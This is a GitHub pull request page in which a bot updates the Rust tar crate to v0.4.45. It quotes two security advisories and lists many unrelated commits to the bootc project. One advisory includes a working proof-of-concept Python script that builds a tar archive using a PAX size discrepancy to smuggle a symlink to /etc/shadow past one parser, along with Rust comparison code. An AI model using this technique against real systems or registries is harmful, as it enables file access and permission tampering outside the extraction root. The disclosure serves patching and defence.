Skip to content

chore(deps): update rust crate tar to v0.4.45 [security]#26

Closed
bootc-bot[bot] wants to merge 3909 commits intomainfrom
bootc-renovate/crate-tar-vulnerability
Closed

chore(deps): update rust crate tar to v0.4.45 [security]#26
bootc-bot[bot] wants to merge 3909 commits intomainfrom
bootc-renovate/crate-tar-vulnerability

Conversation

@bootc-bot
Copy link
Copy Markdown
Contributor

@bootc-bot bootc-bot bot commented Mar 20, 2026

This PR contains the following updates:

Package Type Update Change
tar dependencies patch 0.4.440.4.45

GitHub Vulnerability Alerts

CVE-2026-33056

Summary

When unpacking a tar archive, the tar crate's unpack_dir function uses fs::metadata() to check whether a path that already exists is a directory. Because fs::metadata() follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply chmod to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root.

Reproducer

A malicious tarball contains two entries: (1) a symlink foo pointing to an arbitrary external directory, and (2) a directory entry foo/. (or just foo). When unpacked, create_dir("foo") fails with EEXIST because the symlink is already on disk. The fs::metadata() check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via chmod, which also follows the symlink — modifying the permissions of the external target directory.

Fix

The fix is very simple, we now use fs::symlink_metadata() in unpack_dir, so symlinks are detected and rejected rather than followed.

Credit

This issue was reported by @​xokdvium - thank you!

CVE-2026-33055

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

#!/usr/bin/env python3
B = 512

def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d

def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)

INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.


Release Notes

alexcrichton/tar-rs (tar)

v0.4.45

Compare Source


Configuration

📅 Schedule: Branch creation - "" in timezone UTC, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

henrywang and others added 30 commits September 10, 2025 20:55
Signed-off-by: Xiaofeng Wang <henrywangxf@me.com>
Signed-off-by: Xiaofeng Wang <henrywangxf@me.com>
ostree: Set parent of merge commit to base commit if present
- Removed `From<bytes::Parameter>` implementation for
  `utf8::Parameter` and similar for `utf8::ParameterKey`.  This was
  public and would allow end-users to construct utf8 parameters from
  non-utf8 data.  Replaced internally with `from_bytes` in the places
  where we know we can safely convert known-UTF-8 data.

- Added `TryFrom<bytes::Paramter>` implementation for
  `utf8::Parameter` to allow checked conversions, plus tests.

- Added `iter_utf8` and `find_utf8` to `bytes::Cmdline`, plus tests.

- Updated `find_root_args_to_inherit` in bootc to use these
  improvements.  Notably bootc will now allow non-UTF8 data in the
  kernel cmdline, *unless* it occurs in parameters that bootc is
  explicitly looking for.

- Added more tests to `find_root_args_to_inherit` to validate expected
  functionality with non-UTF-8 data.

- Fixed a parser bug that gemini pointed out with unmatched quotes,
  plus tests to check for that.

Signed-off-by: John Eckersberg <jeckersb@redhat.com>
kernel_cmdline: Refactor into separate `bytes` and `utf8` modules
test: Add integration test running on github runner
Add `add_or_modify` and `remove` methods to `Cmdline` in both `bytes`
and `utf8` modules, along with unit tests.

Closes: #1596
Signed-off-by: John Eckersberg <jeckersb@redhat.com>
kernel_cmdline: Add parameter manipulation methods
No functional changes, prep for further work.

Signed-off-by: Colin Walters <walters@verbum.org>
store: Move inner merge commit writing to a helper function
Over in bootc-dev/bootc#1607
I actually *just* deduplicated this code, but that isn't
ready to merge yet.

Signed-off-by: Colin Walters <walters@verbum.org>
integration: Copy distro-sync from main Dockerfile
See the updates to `Justfile` for how to use this.

Closes: #1428

Assisted-By: Claude Code (opus + sonnet)
Signed-off-by: Colin Walters <walters@verbum.org>
Switch to hand-written man pages with auto option sync
…sible

Signed-off-by: John Eckersberg <jeckersb@redhat.com>
We already impl AsRef<str> but this just makes it more convenient to
render the command line for users.

Signed-off-by: John Eckersberg <jeckersb@redhat.com>
There's no reason these need to be owned.

Signed-off-by: John Eckersberg <jeckersb@redhat.com>
The (now-named) parse_one method is not particularly useful outside of
`CmdlineIter`.  Almost always end users don't care about extra
unparsed content, they just want the `Option<Parameter>`.

This greatly improves ergnomics for users so they can create
parameters like...

`Parameter::parse("foo=bar").unwrap()`

... knowing at the call-site that "foo=bar" is a valid parameter so
the `unwrap()` is safe.

Signed-off-by: John Eckersberg <jeckersb@redhat.com>
This adds a new off-by default feature to enable
a new composefs-native backend for bootc. This
is all still a live work in progress, but
we're landing this first tranche of work to help
avoid continual issues with rebasing.

Thanks to everyone who worked on it!

xref bootc-dev/bootc#1190

Co-authored-by: John Eckersberg <jeckersb@redhat.com>
Co-authored-by: Robert Sturla <robertsturla@outlook.com>
Co-authored-by: Colin Walters <walters@verbum.org>
Signed-off-by: Pragyan Poudyal <pragyanpoudyal41999@gmail.com>
cmdline tweaks and improvements
I was hitting a compliation error which *looks*
like it was actaully an incremental compilation bug?
Or it might have been rust-analyzer and local builds
fighting over enabled features.

Anyways, this ensures that we're gating on the composefs
backend compiling.

Signed-off-by: Colin Walters <walters@verbum.org>
If we find UKI addons in the boot entries list, write them to ESP along
with the UKI

Signed-off-by: Pragyan Poudyal <pragyanpoudyal41999@gmail.com>
We don't need to write Grub menuentries for systemd-boot. For now the
operation is a no-op, but later we would want to have .conf files in
`ESP/loader/entries` so we can control the order of entries.

Regarding that, we would also need to place the UKIs in a separate
directory and not inside `ESP/EFI/Linux`, if we don't want duplicate
entries, as systemd-boot will simply list all .efi files placed in
EFI/Linux unconditionally

Signed-off-by: Pragyan Poudyal <pragyanpoudyal41999@gmail.com>
A key thing for me is that the `Justfile` should be a one-stop
shop for development of the project. It can't have everything but
it should answer the basic questions of "how do I build and test
this project".

This aligns the recently added tmt-on-GHA flow a *bit* more closely
with some of that. Biggest is to use the `just build-integration-test-image` as the canonical
way to build a container image with our testing stuff in it;
which uses our main Dockerfile

Other cleanups:
- Change test script to move into tests/tmt/ as a workaround for
  teemtee/tmt#3037 (comment)
- Change the qemu logic to use SMBIOS credentials so we don't
  have to carry around both a disk image and a SSH key
- Change qemu to use `-snapshot` so we can reuse disks
- Change the scripts to accept data via argv[1] and not environment
- Drop the hardcoded testing directory and use `target/` as
  a generic build artifact dir

Signed-off-by: Colin Walters <walters@verbum.org>
Followup to bootc-dev/bootc#1587
Closes: bootc-dev/bootc#1616

Signed-off-by: Colin Walters <walters@verbum.org>
This should reduce the flake rate.

Signed-off-by: Colin Walters <walters@verbum.org>
- Remove duplicated logic between xtask and makefile
  for converting markdown; it needs to be in xtask
  as we handle the version substitution there and
  some other tweaks
- Really just make the developer entrypoint `just update-generated`
  in general
- Fix the rendering of booleans
- Remove unnecessary emoji from prints

Signed-off-by: Colin Walters <walters@verbum.org>
I broke this a while ago.

Signed-off-by: Colin Walters <walters@verbum.org>
cgwalters and others added 19 commits November 19, 2025 14:19
Fixes a regression where bootupd detection was happening before the
container was deployed, causing bootc to incorrectly check the host
system instead of the target container image. This led to false negatives
when the container had bootupd but the host didn't.

The fix moves bootloader detection into a new PostFetchState that's
created after the deployment is available, ensuring we check the actual
target filesystem.

Fixes: #1778

Assisted-by: Claude Code (Sonnet 4.5)
Signed-off-by: Colin Walters <walters@verbum.org>
In order to debug failures more reliably we really always want a virtual
console.

It turns out the Fedora kernel configs for a while have done
https://gitlab.com/cki-project/kernel-ark/-/commit/9a0d7ce2af11ef7b9a3bc3073e13dc9983b7e245
which means hvc0 is available from very early boot.

I am probably going to argue to do this in all Fedora derivatives by
default soon but let's start here.

Signed-off-by: Colin Walters <walters@verbum.org>
Except now this wraps the "variant" usage of `just build`.  For one,
this is a convenient little piece of shorthand.  But perhaps more
importantly, we have this referenced in the docs.  Although I could go
change the docs to reflect the new usage, I think it just reads nicer
in the docs for it to remain `just build-sealed`.

Signed-off-by: John Eckersberg <jeckersb@redhat.com>
The `/sysroot` writability regressed this, and add a missing test
case for this.

Signed-off-by: Colin Walters <walters@verbum.org>
Since other tests are hitting it.

Signed-off-by: Colin Walters <walters@verbum.org>
Signed-off-by: bootc-bot[bot] <225049296+bootc-bot[bot]@users.noreply.github.com>
Add check to prevent soft reboot when SELinux policies differ
between booted and target deployments, since policy is not
reloaded across soft reboots.

Assisted-by: Cursor (Auto)
Signed-off-by: gursewak1997 <gursmangat@gmail.com>
Right now touching e.g. xtask.rs causes a build phase when
it shouldn't, this helps bypassing that.

Signed-off-by: Colin Walters <walters@verbum.org>
We need to run most of our tests in a separate provisioned machine,
which means it needs an individual plan. And then we need a test
for that plan. And then we need the *actual test code*.

This "triplication" is a huge annoying pain.

TMT is soooo complicated, yet as far as I can tell it doesn't offer
us any tools to solve this. So we'll do it here, cut over to
generating the TMT stuff from metadata defined in the test file.

Hence adding a test is just:

- Write a new tests/booted/foo.nu
- `cargo xtask update-generated`

Signed-off-by: Colin Walters <walters@verbum.org>
…tion

Move TMT test runner code from xtask.rs to tmt module:
- `run_tmt()` and `tmt_provision()` functions
- Helper functions for VM management and SSH connectivity
- Related constants

Also refactor `update_integration()` to use serde_yaml::Value for
building YAML structures instead of string concatenation.

Add detailed error reporting for failed TMT tests:
- Assign run IDs using `tmt run --id`
- Display verbose reports with `tmt run -i {id} report -vvv`

Assisted-by: Claude Code (Sonnet 4.5)
Signed-off-by: Colin Walters <walters@verbum.org>
Otherwise we compile many dependencies twice unnecessarily.

Signed-off-by: Colin Walters <walters@verbum.org>
To make it easier to do upgrade tests.

Signed-off-by: Colin Walters <walters@verbum.org>
This ensures it all can work much more elegantly/naturally
with sealed UKI builds - we don't want to do the build-on-target
thing.

Signed-off-by: Colin Walters <walters@verbum.org>
Signed-off-by: Colin Walters <walters@verbum.org>
1. Fix variable issue in test-bound-storage
2. Fix permission issue in logically-bound-switch,
   image-pushpull-upgrade, soft-reboot and custom-selinux-policy

Signed-off-by: Xiaofeng Wang <henrywangxf@me.com>
Add a workflow_dispatch-triggered workflow for interactive debugging
on arm64 GitHub runners using action-upterm for SSH access.

This is for investigating the bootc-ubuntu-setup failure on arm64
where the plucky apt repository uses the wrong mirror URL
(azure.archive.ubuntu.com instead of ports.ubuntu.com).

See: https://github.com/cgwalters/service-gator/actions/runs/21484445531

Assisted-by: OpenCode (Claude claude-opus-4-5)
Test the proposed fix for the bootc-ubuntu-setup action on arm64.
The issue is that azure.archive.ubuntu.com only hosts amd64 packages,
so arm64 needs to use ports.ubuntu.com/ubuntu-ports instead.

Assisted-by: OpenCode (Claude claude-opus-4-5)
Copy the bootc-ubuntu-setup action locally and fix:
1. Use correct apt mirror for arm64 (ports.ubuntu.com/ubuntu-ports)
2. Handle missing /dev/kvm on arm64 runners gracefully

Also syncs other improvements from upstream actions repo.

Assisted-by: OpenCode (Claude claude-opus-4-5)
@bootc-bot bootc-bot bot requested a review from gursewak1997 March 20, 2026 18:23
@bootc-bot bootc-bot bot changed the title chore(deps): update rust crate tar to v0.4.45 [security] chore(deps): update rust crate tar to v0.4.45 [security] - autoclosed Mar 27, 2026
@bootc-bot bootc-bot bot closed this Mar 27, 2026
@bootc-bot bootc-bot bot deleted the bootc-renovate/crate-tar-vulnerability branch March 27, 2026 00:50
Signed-off-by: bootc-bot[bot] <225049296+bootc-bot[bot]@users.noreply.github.com>
@bootc-bot bootc-bot bot changed the title chore(deps): update rust crate tar to v0.4.45 [security] - autoclosed chore(deps): update rust crate tar to v0.4.45 [security] Mar 30, 2026
@bootc-bot bootc-bot bot reopened this Mar 30, 2026
@bootc-bot bootc-bot bot force-pushed the bootc-renovate/crate-tar-vulnerability branch 2 times, most recently from f45e511 to 69de886 Compare March 30, 2026 18:32
@cgwalters cgwalters closed this Apr 1, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.